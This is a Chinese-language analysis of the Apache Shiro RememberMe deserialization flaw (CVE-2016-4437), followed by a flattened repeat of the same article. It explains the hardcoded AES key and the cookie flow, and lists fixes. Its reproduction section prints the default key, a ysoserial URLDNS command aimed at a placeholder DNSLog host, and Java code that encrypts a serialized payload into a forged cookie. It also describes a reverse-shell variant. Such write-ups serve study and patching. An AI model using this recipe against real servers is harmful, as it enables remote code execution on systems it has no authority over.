CVE-2016-4437:Apache Shiro RememberMe UnSerialized RCE分析
字数 1299 2025-08-25 22:58:46

Apache Shiro RememberMe 反序列化漏洞 (CVE-2016-4437) 分析

漏洞概述

Apache Shiro 是ASF旗下的一款开源安全框架,提供身份验证、授权、密码学和会话管理功能。在1.2.4及以前版本中,存在一个严重的安全漏洞:

  • 漏洞类型:反序列化导致的远程代码执行(RCE)
  • 影响范围:Apache Shiro <=1.2.4(部分高于1.2.4的版本如果密钥泄露也会受影响)
  • 漏洞原理:加密的用户信息序列化后存储在名为remember-me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞

漏洞分析

漏洞背景

Shiro默认使用CookieRememberMeManager功能,处理流程如下:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化

问题在于AES加解密的秘钥被硬编码在代码中,攻击者可利用默认密钥构造恶意序列化对象。

环境搭建

  1. 下载漏洞版本:
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
  1. 修改pom.xml添加JSP标签支持:
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <groupId>taglibs</groupId>
    <artifactId>standard</artifactId>
    <version>1.1.2</version>
    <scope>runtime</scope>
</dependency>
  1. 部署到Tomcat服务器

关键代码分析

  1. 硬编码密钥
    AbstractRememberMeManager类中发现base64编码的默认密钥:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
  1. RememberMe Cookie生成流程
  • onSuccessfulLoginrememberIdentity
  • 序列化用户身份(DefaultSerializer.serialize)
  • AES加密(AesCipherService.encrypt)
  • Base64编码
  • 设置Cookie
  1. RememberMe Cookie解析流程
  • getRememberedIdentitygetRememberedPrincipals
  • 获取Cookie值
  • Base64解码
  • AES解密(AesCipherService.decrypt)
  • 反序列化(DefaultSerializer.deserialize)

漏洞触发点

反序列化操作最终调用ObjectInputStream.readObject(),如果攻击者能够:

  1. 构造恶意序列化对象
  2. 使用已知密钥AES加密
  3. Base64编码后作为RememberMe Cookie发送

服务端会解密后反序列化该对象,导致任意代码执行。

漏洞复现

方法一:使用URLDNS Gadget检测

  1. 生成Gadget:
java -jar ysoserial.jar URLDNS "http://yourdnslog.dnslog.cn" > poc.ser
  1. AES加密处理(Java代码):
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(Paths.get("poc.ser"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}
  1. 构造恶意请求:
    将生成的加密payload作为RememberMe Cookie发送

  2. 观察DNSLog是否有回连记录

方法二:反弹Shell

使用ysoserial的其他Gadget(如CommonsCollections)生成反弹shell的payload,同样流程加密后发送。

修复方案

  1. 升级Shiro到1.2.5及以上版本
  2. 自定义加密密钥(替换默认密钥)
  3. 禁用RememberMe功能(如果不需要)

参考链接

Apache Shiro RememberMe 反序列化漏洞 (CVE-2016-4437) 分析 漏洞概述 Apache Shiro 是ASF旗下的一款开源安全框架,提供身份验证、授权、密码学和会话管理功能。在1.2.4及以前版本中,存在一个严重的安全漏洞: 漏洞类型 :反序列化导致的远程代码执行(RCE) 影响范围 :Apache Shiro <=1.2.4(部分高于1.2.4的版本如果密钥泄露也会受影响) 漏洞原理 :加密的用户信息序列化后存储在名为remember-me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞 漏洞分析 漏洞背景 Shiro默认使用 CookieRememberMeManager 功能,处理流程如下: 检索cookie中RememberMe的值 Base64解码 使用AES解密 反序列化 问题在于AES加解密的秘钥被硬编码在代码中,攻击者可利用默认密钥构造恶意序列化对象。 环境搭建 下载漏洞版本: 修改pom.xml添加JSP标签支持: 部署到Tomcat服务器 关键代码分析 硬编码密钥 : 在 AbstractRememberMeManager 类中发现base64编码的默认密钥: RememberMe Cookie生成流程 : onSuccessfulLogin → rememberIdentity 序列化用户身份( DefaultSerializer.serialize ) AES加密( AesCipherService.encrypt ) Base64编码 设置Cookie RememberMe Cookie解析流程 : getRememberedIdentity → getRememberedPrincipals 获取Cookie值 Base64解码 AES解密( AesCipherService.decrypt ) 反序列化( DefaultSerializer.deserialize ) 漏洞触发点 反序列化操作最终调用 ObjectInputStream.readObject() ,如果攻击者能够: 构造恶意序列化对象 使用已知密钥AES加密 Base64编码后作为RememberMe Cookie发送 服务端会解密后反序列化该对象,导致任意代码执行。 漏洞复现 方法一:使用URLDNS Gadget检测 生成Gadget: AES加密处理(Java代码): 构造恶意请求: 将生成的加密payload作为RememberMe Cookie发送 观察DNSLog是否有回连记录 方法二:反弹Shell 使用ysoserial的其他Gadget(如CommonsCollections)生成反弹shell的payload,同样流程加密后发送。 修复方案 升级Shiro到1.2.5及以上版本 自定义加密密钥(替换默认密钥) 禁用RememberMe功能(如果不需要) 参考链接 Shiro官方Issue FoxGlove Security关于反序列化的文章